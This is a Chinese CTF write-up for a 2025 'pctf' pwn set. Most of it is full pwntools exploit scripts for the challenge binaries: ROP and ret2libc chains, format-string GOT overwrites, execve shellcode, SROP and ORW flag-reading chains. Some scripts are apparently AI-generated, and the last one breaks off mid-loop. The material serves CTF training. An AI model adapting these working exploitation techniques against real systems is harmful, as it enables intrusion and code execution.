pctf-pwn(2025)

题目来源https://gz.imxbt.cn/games/33/challenges#

文章目录


Build

看看保护吧。

nx,不能打shellcode。

第一个地方数组下标越界,溢出到*buf。

第二个地方有一个check,有两种方法绕过,第一种输入+-;第二种用from ctypes import *绕过。

第三个read的参数为全局变量,初值为0,且在read之前会++。

刚开始的时候还给了栈地址,那么我们就可以计算出rbp和ret的地址。

利用思路:

利用数组下标越界覆盖buf为ret,再利用read读入一字节改其为main程序中的某一处。

再次回到main函数,那么我们多循环几次就可使全局变量变得很大。

这样我们就能够栈溢出了。但是我们没有pop rdi; ret;片段,我们就要去找能够替代其的gadget。

找到了。后面就是栈溢出泄露libc打system了。(注意+ret对齐栈帧)

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31463)
libc=ELF('./libc.so.6')
e=ELF('./pwn')

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

xchg_rbx_rdi=0x4011fe
def exp():
	ru(b'0x')
	rsp=int(p.recv(12),16)
	ret=rsp+0xd8
	rbp_sub8=ret-0x10
	for i in range(17):
		sl(b'+')
	sn(ret)
for i in range(0x30):
	exp()
	s(p8(0x64))

ru(b'0x')
rsp=int(p.recv(12),16)
ret=rsp+0xd8
rbp=ret+0xd0
rbp_sub8=ret-0x10
for i in range(17):
	sl(b'+')
sn(rbp_sub8)
s(flat(e.got.puts,rbp,xchg_rbx_rdi,e.plt.puts,0x4013F5,0x04012B1))

ru(b'Magic fallen:\n')
libc_base=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))
system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))

ru(b'0x')
rsp=int(p.recv(12),16)
ret=rsp+0xd8
rbp=ret+0xd0
rbp_sub8=ret-0x10
for i in range(17):
	sl(b'+')
sn(rbp_sub8)
s(flat(sh,rbp,xchg_rbx_rdi,system))
p.interactive()

Slime_Smith

有个后门。

我们把0x404118处指向的函数改成后门,即可shell。

怎么做:

两次输入v1=0,那么read刚好从0x404118开始写,可以覆盖其为后门。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30443)
libc=ELF('./libc.so.6')
e=ELF('./pwn')

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'> ')
sn(1)
ru(b': ')
sn(0)
ru(b': ')
sn(0)
sl(p64(0x401336))

p.interactive()

csu?

很标准的csu板子,套就行了。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',32151)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'input something:')
s(b'a'*0x28+flat(0x401272,0,1,1,e.got.write,8,e.got.write,0x401258)+p64(0)*7+p64(0x04011AB))
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.write
print(hex(libc_base))
system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))
rdi=libc_base+next(libc.search(asm('pop rdi; ret;')))

s(b'a'*0x28+flat(rdi,sh,rdi+1,system))
p.interactive()

ezfmt



可以溢出到format,格式化字符串漏洞,泄露canary和libc,然后栈溢出即可。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31905)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

s(b'a'*0x40+b'%19$p%21$p')
ru(b'0x')
canary=int(p.recv(16),16)
ru(b'0x')
libc_base=int(p.recv(12),16)-0x29d90
print(hex(libc_base))

system=libc_base+libc.sym.system
sh=libc_base+next(libc.search(b'/bin/sh'))
rdi=libc_base+next(libc.search(asm('pop rdi; ret;')))

s(b'a'*0x68+p64(canary)+flat(0,rdi,sh,rdi+1,system))
p.interactive()

fmt

方法很多,没有一种是我会的...

喂给ai跑的,思路fmt -> free@got 续命 -> 单轮改 printf@got 到 setcontext -> setcontext + ORW。

python 复制代码
from pwn import *
import re


DEFAULT_HOST = "challenge.imxbt.cn"
DEFAULT_PORT = 32469
LIBC_RET_OFFSET = 0x29D90
ROUND_DELTA = 0x410
READ_SIZE = 0x50

context.binary = ELF("./pwn", checksec=False)
context.log_level = args.LOG or "info"

elf = context.binary
libc = ELF("./libc.so.6", checksec=False)
rop = ROP(libc)

FREE_GOT = elf.got["free"]
PRINTF_GOT = elf.got["printf"]
VULN = elf.sym["vuln"]

POP_RDI_OFF = rop.find_gadget(["pop rdi", "ret"]).address
POP_RSI_OFF = rop.find_gadget(["pop rsi", "ret"]).address
POP_RDX_R12_OFF = rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
POP_RAX_OFF = rop.find_gadget(["pop rax", "ret"]).address
SYSCALL_OFF = rop.find_gadget(["syscall", "ret"]).address


def start():
    if args.REMOTE:
        host = args.HOST or DEFAULT_HOST
        port = int(args.PORT or DEFAULT_PORT)
        return remote(host, port)
    return process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./pwn"], stderr=STDOUT)


def stage1_payload():
    pad = (VULN & 0xFFFF) - (FREE_GOT & 0xFFFF)
    return f"%{FREE_GOT - 6}c%c%c%c%c%c%c%n%{pad % 0x10000}c%hn|%11$p|".encode() + b"\x00"


def stage2_printf_write(target_addr: int, suffix: bytes = b""):
    lo = target_addr & 0xFFFF
    hi = (target_addr >> 16) & 0xFFFF
    count = 0
    parts = []

    pre = 10
    first = (PRINTF_GOT - count - pre) & 0xFFFF
    if first == 0:
        first = 0x10000
    parts.append(f"%{first}c".encode())
    parts.append(b"%c" * pre)
    parts.append(b"%hn")
    count += first + pre

    second = (lo - count) & 0xFFFF
    if second == 0:
        second = 0x10000
    parts.append(f"%{second}c".encode())
    parts.append(b"%hn")
    count += second

    pre = 26
    third = (PRINTF_GOT + 2 - count - pre)
    if third <= 0:
        raise ValueError(f"invalid third delta: {third}")
    parts.append(f"%{third}c".encode())
    parts.append(b"%c" * pre)
    parts.append(b"%n")
    count += third + pre

    pre = 5 if args.REMOTE else 3
    fourth = (hi - (count & 0xFFFF) - pre) & 0xFFFF
    if fourth == 0:
        fourth = 0x10000
    parts.append(f"%{fourth}c".encode())
    parts.append(b"%c" * pre)
    parts.append(b"%hn")
    parts.append(suffix)
    parts.append(b"\x00")
    return b"".join(parts)


def recv_libc_leak(io):
    blob = io.recvuntil(b"|", drop=False)
    blob += io.recvuntil(b"|", drop=False)
    match = re.search(rb"\|(0x[0-9a-fA-F]+)\|", blob)
    if not match:
        raise ValueError(f"failed to parse libc leak from {blob[-200:]!r}")
    return int(match.group(1), 16)


def recv_heap_leak(io):
    blob = b""
    try:
        blob += io.recvuntil(b"|", timeout=5)
        blob += io.recvuntil(b"|", timeout=5)
    except EOFError:
        blob += io.recvrepeat(0.5)
    match = re.search(rb"\|(0x[0-9a-fA-F]+)\|", blob)
    if not match:
        raise ValueError(f"failed to parse heap leak from {blob[-200:]!r}")
    return int(match.group(1), 16)


def put64(buf, off, val):
    buf[off:off + 8] = p64(val)


def put32(buf, off, val):
    buf[off:off + 4] = p32(val)


def candidate_paths():
    if args.PATHS:
        paths = [x.encode() for x in str(args.PATHS).split(",") if x]
    elif args.PATH:
        paths = [str(args.PATH).encode()]
    else:
        paths = [b"/flag", b"./flag", b"flag"]

    default_paths = [b"/flag", b"./flag", b"flag"]
    while len(paths) < 3:
        paths.append(default_paths[len(paths)])
    return paths[:3]


def build_orw_payload(buf_addr: int, paths):
    pop_rdi = libc.address + POP_RDI_OFF
    pop_rsi = libc.address + POP_RSI_OFF
    pop_rdx_r12 = libc.address + POP_RDX_R12_OFF
    pop_rax = libc.address + POP_RAX_OFF
    syscall = libc.address + SYSCALL_OFF

    data = bytearray(b"\x00" * 0x3FF)
    env_addr = buf_addr + 0x140
    stack_addr = buf_addr + 0x1F0
    path1_addr = buf_addr + 0x380
    path2_addr = buf_addr + 0x388
    path3_addr = buf_addr + 0x390
    read_buf = buf_addr + 0x3A0

    put64(data, 0xE0, env_addr)
    put32(data, 0x1C0, 0x1F80)
    put64(data, 0xA0, stack_addr)
    put64(data, 0xA8, pop_rax)

    chain = []

    def open_path(addr, first=False):
        seq = [2, pop_rdi, addr, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall]
        if not first:
            seq = [pop_rax] + seq
        chain.extend(seq)

    open_path(path1_addr, first=True)
    open_path(path2_addr)
    open_path(path3_addr)
    chain.extend([
        pop_rax, 0,
        pop_rdi, 3,
        pop_rsi, read_buf,
        pop_rdx_r12, READ_SIZE, 0,
        syscall,
        pop_rax, 1,
        pop_rdi, 1,
        pop_rsi, read_buf,
        pop_rdx_r12, READ_SIZE, 0,
        syscall,
        libc.sym["exit"],
    ])

    for i, qword in enumerate(chain):
        put64(data, 0x1F0 + i * 8, qword)

    for addr, raw in zip((0x380, 0x388, 0x390), paths):
        data[addr:addr + len(raw) + 1] = raw + b"\x00"

    return bytes(data)


def exploit(io):
    io.send(stage1_payload())
    libc_leak = recv_libc_leak(io)
    libc.address = libc_leak - LIBC_RET_OFFSET
    log.info(f"libc base: {hex(libc.address)}")

    io.send(stage2_printf_write(libc.sym["setcontext"], b"|%1$p|"))
    heap_round2 = recv_heap_leak(io)
    final_buf = heap_round2 + ROUND_DELTA
    log.info(f"final heap chunk: {hex(final_buf)}")

    payload = build_orw_payload(final_buf, candidate_paths())
    io.send(payload)
    return io.recvrepeat(2)


def probe_round2(io):
    io.send(stage1_payload())
    libc_leak = recv_libc_leak(io)
    libc.address = libc_leak - LIBC_RET_OFFSET
    log.info(f"libc base: {hex(libc.address)}")
    probe = b"".join(f"|{i}=%{i}$p".encode() for i in range(1, 61)) + b"|\x00"
    io.send(probe)
    return io.recvrepeat(1)


def probe_write_slot(io, slot: int):
    io.send(stage1_payload())
    libc_leak = recv_libc_leak(io)
    libc.address = libc_leak - LIBC_RET_OFFSET
    log.info(f"libc base: {hex(libc.address)}")
    target = 0x404080
    plain = slot - 2
    tail_count = 8
    delta = target - plain
    probe = f"%{delta}c".encode() + (b"%c" * plain) + b"%n|" + (b"|".join([b"%p"] * tail_count)) + b"|\x00"
    io.send(probe)
    return repr(io.recvrepeat(1)[-600:]).encode()


def clean_output(blob: bytes):
    blob = blob.split(b"\x00", 1)[0]
    return blob.strip(b"\r\n")


def main():
    io = start()
    try:
        if args.PTR:
            out = probe_write_slot(io, int(args.PTR))
        else:
            out = probe_round2(io) if args.PROBE else exploit(io)
        print(clean_output(out).decode("latin-1", "replace"))
    finally:
        io.close()


if __name__ == "__main__":
    main()

还有一种方法:

先把free的got表改成vuln函数地址就可以实现一直返回vuln,这里因为没有leave所以栈上的情况是没什么大变化的,我们改出来两个printf的got表,最后一个改低地址一个改高地址把printf改成system函数,最后输入binsh字符串即可getshell。

python 复制代码
from pwn import *

context.arch='amd64'

elf=ELF('./pwn')
libc = ELF('./libc.so.6')

li='./libc.so.6'
flag =1
if flag:
    p = remote('challenge.imxbt.cn',32469)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    #context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
vuln=0x4011b6
printf=0x404020
free=0x404018
pay=b'%p'*6+b'%'+str(free-0x3d+5).encode()+b'c%ln'
pay+=b'%'+str(vuln+0x1000000-free).encode()+b'c%hn'
pay+=b'b'*3+b'%8$p.%11$p.k'
sd(pay)
ru(b'b'*3)
st,libcbase,c=ru(b'k').decode().strip().split('.')
st=i6(st)-0x8
libcbase=i6(libcbase)-0x29d90
system=libcbase+libc.sym['system']
ph(st)
ph(libcbase)

pay=b'%'+str(printf&0xff).encode()+b'c%12$hhn'
pay+=b'%'+str(st&0xff).encode()+b'c%8$hhn'
sd(pay)

pay=b'%'+str(printf+2).encode()+b'c%16$ln'
sd(pay)
sleep(0.1)
ph(system)
pay=b'%'+str((system>>16)&0xff).encode()+b'c%25$hhn'
pay+=b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c%22$hn'
sd(pay)
sd(b'/bin/sh\x00')
ti()

func_err

看看保护:

没开nx,首当其冲shellcode。

栈溢出刚好只能覆盖ret,但给了栈地址,那么就可以写shellcode到栈上,然后ret即可。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31126)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'0x')
rsp=int(p.recv(12),16)-0x20+4
shell=asm('''
xor rdx, rdx
xor rsi, rsi
mov rbx,0x0068732F6E69622F
push rbx
push rsp
pop rdi
mov al,59
syscall
''')
print(hex(len(shell)))
py=shell.ljust(0x28,b'a')+p64(rsp)
s(py)
p.interactive()

ret2bzdr

先泄露canany,再栈溢出到后门。



没过滤sh,那么就好办了。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',31844)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

sl(b'%23$p')
ru(b'0x')
canary=int(p.recv(16),16)
py=b'a'*0x88+p64(canary)+b'a'*8+p64(0x40101a)+p64(0x04013AD)
sl(py)

sla(b"OH,NO!!!HACKER!!!DON'T COME!!!\n",b'sh')
p.interactive()

ret2libc

ez-ret2libc

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30569)
e=ELF('./attachment')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

rdi=0x0000000004011E7
ru(b'Please input your message: ')
sl(b'a'*0x48+p64(rdi)+p64(e.got.puts)+p64(e.plt.puts)+p64(0x04011F0))
p.recvline()
libc_base=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))
system=libc.sym['system']+libc_base
sh=next(libc.search(b'/bin/sh'))+libc_base
sl(b'a'*0x48+p64(rdi)+p64(sh)+p64(rdi+1)+p64(system))

p.interactive()

sandbox_err

看看保护和沙箱:

正常的orw即可。

1可以泄露栈地址。

2可以栈溢出。

3格式化字符串漏洞,泄露pie和libc_base。

正常来说泄露libc,orw即可,但是我们找不到pop rdx; ret。

那么我们可以借助orw和srop绕过。

还有一个思路虽然没有pop rdx; ret;但是有pop rdx; leave ret;我们又可以泄露栈地址,可以控制栈帧,那么就可以正常orw。但是我没打通,大家可以try try。

csu:

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')

ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))

sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad

open=libc_base+libc.sym.open
read_got=pie+e.got.read;read=libc_base+libc.sym.read
write=libc_base+libc.sym.write
mprotect=libc_base+libc.sym.mprotect
addr=e.bss()+pie

def csu(rdi,rsi,rdx,got):
	py=flat(0,0,1,rdi,rsi,rdx,got)
	return py

csu1=0x16A6+pie;csu2=0x1690+pie
flag=addr
py=b'a'*0x68+p64(csu1)+csu(0,addr,0x100,read_got)+p64(csu2)+csu(addr,0,0,addr+8)+flat(rdi,flag,rsi,0,open)
py+=p64(csu1)+csu(6,addr+0x100,0x100,addr+0x10)+p64(csu2)+csu(1,addr+0x100,0x100,addr+0x18)+p64(csu2)
s(py)
py=b'./flag\x00\x00'+flat(open,read,write)
s(py)
p.interactive()

srop:系统调用orw。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')

ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))

sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad
syscall=libc_base+0x0000000000098fb6
bss=e.bss()+pie

sig=SigreturnFrame()
sig.rax=0
sig.rdi=0
sig.rsi=bss
sig.rdx=0x1000
sig.rsp=bss+8
sig.rip=syscall
s(b'a'*0x68+flat(rax,0xf,syscall)+bytes(sig))

sig1=SigreturnFrame()
sig1.rax=2
sig1.rdi=bss
sig1.rsi=0
sig1.rdx=0
sig1.rsp=bss+0x20+0xf8
sig1.rip=syscall

sig2=SigreturnFrame()
sig2.rax=0
sig2.rdi=6
sig2.rsi=bss
sig2.rdx=0x100
sig2.rsp=bss+0x20+0xf8+0x18+0xf8
sig2.rip=syscall

sig3=SigreturnFrame()
sig3.rax=1
sig3.rdi=1
sig3.rsi=bss
sig3.rdx=0x100
sig3.rip=syscall

sleep(0.2)
s(b'./flag\x00\x00'+flat(rax,0xf,syscall)+bytes(sig1)+flat(rax,0xf,syscall)+bytes(sig2)+flat(rax,0xf,syscall)+bytes(sig3))

p.interactive()

srop:mprotect函数+shellcode。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30162)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x,y:p.sendlineafter(x,y)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'Make your choice : \n')
sn(3)
ru(b'I believe in miracles.\n')
sl(b'%11$p%17$p%10$p')

ru(b'0x')
pie=int(p.recv(12),16)-0x555555555485+0x555555554000
print(hex(pie))
ru(b'0x')
libc_base=int(p.recv(12),16)-0x7ffff7c2a1ca+0x7ffff7c00000
print(hex(libc_base))
ru(b'0x')
rbp=int(p.recv(12),16)-0x20
print(hex(rbp))

sn(2)
ru(b'You chose getshell!\n')
rax=libc_base+0x00000000000dd237
rdi=libc_base+0x000000000010f78b
rsi=libc_base+0x0000000000110a7d
rdx_leave_ret=libc_base+0x00000000000981ad
syscall=libc_base+0x0000000000098fb6
bss=e.bss()+pie

sig=SigreturnFrame()
sig.rax=0
sig.rdi=0
sig.rsi=bss
sig.rdx=0x1000
sig.rsp=bss
sig.rip=syscall
s(b'a'*0x68+flat(rax,0xf,syscall)+bytes(sig))

sig1=SigreturnFrame()
sig1.rax=constants.SYS_mprotect
sig1.rdi=0x4000+pie
sig1.rsi=0x2000
sig1.rdx=7
sig1.rsp=bss+0x18+0xf8
sig1.rip=syscall

sig2=SigreturnFrame()
sig2.rip=bss+0x18+0xf8+0x18+0xf8
sig2.rsp=bss

shellcode = shellcraft.open('./flag\x00\x00')
shellcode += shellcraft.read(6,bss + 0x300,0x100)
shellcode += shellcraft.write(1,bss + 0x300,0x100)
shellcode = asm(shellcode)

sleep(0.2)
s(flat(rax,0xf,syscall)+bytes(sig1)+flat(rax,0xf,syscall)+bytes(sig2)+shellcode)

p.interactive()

str_err

绕过检查,改ret为后门即可。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30203)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

ru(b'Please input your username: \n')
s(b'zbz')
ru(b'Please input your password: \n')
s(b'Secret\x00'.ljust(0x68,b'\x00')+p64(0x0401263))

p.interactive()

test_your_nc

喂给ai让他跑个脚本。

python 复制代码
from pwn import *
import re
 
# 连接远程服务器
r = remote('challenge.imxbt.cn',31259)
context.log_level = 'debug'  
 
 
class UniversalBaseSolver:
    def __init__(self):
        self.base_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/"
 
    def convert_from_base(self, num_str, base):
        """将指定进制的字符串转换为十进制整数"""
        if base < 1 or base > 40:
            log.warning(f"Base {base} out of range 1-40")
            return None
 
        try:
            if base == 1:
                return len(num_str)
            else:
                # 对于所有进制,统一处理大小写
                num_str_upper = num_str.upper()
                log.info(f"Converting '{num_str}' (-> '{num_str_upper}') from base {base}")
 
                if base <= 36:
                    result = int(num_str_upper, base)
                    log.info(f"Conversion result: {result}")
                    return result
                else:
                    char_map = {char: idx for idx, char in enumerate(self.base_chars[:base])}
                    result = 0
                    for char in num_str_upper:
                        if char not in char_map:
                            log.warning(f"Invalid character '{char}' for base {base}")
                            return None
                        result = result * base + char_map[char]
                    log.info(f"Conversion result: {result}")
                    return result
        except Exception as e:
            log.warning(f"Conversion error: {e} for '{num_str}' in base {base}")
            return None
 
    def convert_to_base(self, num, base):
        """将十进制整数转换为指定进制字符串"""
        if base < 1 or base > 40:
            log.warning(f"Base {base} out of range 1-40")
            return str(num)
 
        try:
            num = int(num)
            log.info(f"Converting {num} to base {base}")
 
            if base == 1:
                if num < 0:
                    return '-' + '1' * (-num)
                return '1' * num
 
            is_negative = num < 0
            n = abs(num)
 
            if n == 0:
                result = '0'
                log.info(f"Result: {result}")
                return result
 
            digits = []
            if base <= 36:
                while n > 0:
                    n, remainder = divmod(n, base)
                    if remainder < 10:
                        digits.append(str(remainder))
                    else:
                        digits.append(chr(ord('A') + remainder - 10))
                result = ''.join(reversed(digits))
            else:
                alphabet = self.base_chars[:base]
                while n > 0:
                    n, remainder = divmod(n, base)
                    digits.append(alphabet[remainder])
                result = ''.join(reversed(digits))
 
            if is_negative:
                result = '-' + result
 
            log.info(f"Conversion result: {result}")
            return result
 
        except Exception as e:
            log.warning(f"Base conversion error: {e}")
            return str(num)
 
    def detect_base(self, base_str):
        """检测并解析进制描述"""
        base_str = base_str.lower().strip()
 
        base_map = {
            '1': 1, 'unary': 1, 'base1': 1,
            '2': 2, 'binary': 2, 'bin': 2, 'base2': 2,
            '3': 3, 'ternary': 3, 'base3': 3,
            '4': 4, 'quaternary': 4, 'base4': 4,
            '5': 5, 'quinary': 5, 'base5': 5,
            '6': 6, 'senary': 6, 'base6': 6,
            '7': 7, 'septenary': 7, 'base7': 7,
            '8': 8, 'octal': 8, 'oct': 8, 'base8': 8,
            '9': 9, 'nonary': 9, 'base9': 9,
            '10': 10, 'decimal': 10, 'dec': 10, 'base10': 10,
            '11': 11, 'undecimal': 11, 'base11': 11,
            '12': 12, 'duodecimal': 12, 'base12': 12,
            '13': 13, 'tridecimal': 13, 'base13': 13,
            '14': 14, 'tetradecimal': 14, 'base14': 14,
            '15': 15, 'pentadecimal': 15, 'base15': 15,
            '16': 16, 'hexadecimal': 16, 'hex': 16, 'base16': 16,
            '17': 17, 'base17': 17, '18': 18, 'base18': 18, '19': 19, 'base19': 19,
            '20': 20, 'base20': 20, '21': 21, 'base21': 21, '22': 22, 'base22': 22,
            '23': 23, 'base23': 23, '24': 24, 'base24': 24, '25': 25, 'base25': 25,
            '26': 26, 'base26': 26, '27': 27, 'base27': 27, '28': 28, 'base28': 28,
            '29': 29, 'base29': 29, '30': 30, 'base30': 30, '31': 31, 'base31': 31,
            '32': 32, 'duotrigesimal': 32, 'base32': 32, '33': 33, 'base33': 33,
            '34': 34, 'base34': 34, '35': 35, 'base35': 35, '36': 36, 'hexatrigesimal': 36, 'base36': 36,
            '37': 37, 'base37': 37, '38': 38, 'base38': 38, '39': 39, 'base39': 39,
            '40': 40, 'base40': 40
        }
 
        if base_str in base_map:
            result = base_map[base_str]
            log.info(f"Base detection: '{base_str}' -> {result}")
            return result
 
        try:
            base_num = int(base_str)
            if 1 <= base_num <= 40:
                log.info(f"Base detection: '{base_str}' -> {base_num}")
                return base_num
        except:
            pass
 
        log.warning(f"Unknown base: {base_str}, defaulting to 10")
        return 10
 
    def extract_expression(self, question_text):
        """提取表达式中的数字和运算符"""
        log.info(f"Extracting expression from: {question_text}")
 
        patterns = [
            r'\[[0-9]+\]\s*\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=',
            r'\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)',
            r'([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=\s*\?',
        ]
 
        for i, pattern in enumerate(patterns):
            match = re.search(pattern, question_text)
            if match:
                num1, op, num2 = match.groups()
                log.info(f"Pattern {i} matched: {num1} {op} {num2}")
                return num1.strip(), op.strip(), num2.strip()
 
        log.warning("No pattern matched for expression extraction")
        return None, None, None
 
    def solve_question(self, question_text):
        """主解题函数"""
        log.info(f"Solving question: {question_text}")
 
        # 提取进制信息
        base_match = re.search(r'\(base\s+(\w+)\)', question_text)
        if not base_match:
            log.warning("Cannot find base specification with pattern 1")
            base_match = re.search(r'base\s*(\w+)', question_text)
            if not base_match:
                log.warning("Cannot find base specification")
                return None
 
        base_str = base_match.group(1)
        base = self.detect_base(base_str)
 
        # 提取数字和运算符
        num1, op, num2 = self.extract_expression(question_text)
        if not all([num1, op, num2]):
            log.warning("Failed to extract expression")
            return None
 
        # 转换数字
        a = self.convert_from_base(num1, base)
        b = self.convert_from_base(num2, base)
 
        if a is None or b is None:
            log.warning("Number conversion failed")
            return None
 
        # 执行运算
        if op == '+':
            result = a + b
        elif op == '*':
            result = a * b
        elif op == '-':
            result = a - b
        elif op == '/':
            if b == 0:
                log.warning("Division by zero")
                return None
            result = a // b
        elif op == '%':
            if b == 0:
                log.warning("Modulo by zero")
                return None
            result = a % b
        else:
            log.warning(f"Unsupported operator: {op}")
            return None
 
        # 转换回原进制
        answer = self.convert_to_base(result, base)
 
        # 验证转换
        if answer:
            verify = self.convert_from_base(answer, base)
            if verify != result:
                log.warning(f"Verification failed: {answer} -> {verify} != {result}")
                # 尝试小写
                verify_lower = self.convert_from_base(answer.lower(), base)
                if verify_lower == result:
                    log.info("Using lowercase version for verification")
                    return answer.lower()
 
        return answer
 
 
# 创建求解器
solver = UniversalBaseSolver()
 
# 主循环
try:
    question_count = 0
    while True:
        # 先接收直到看到题目开始
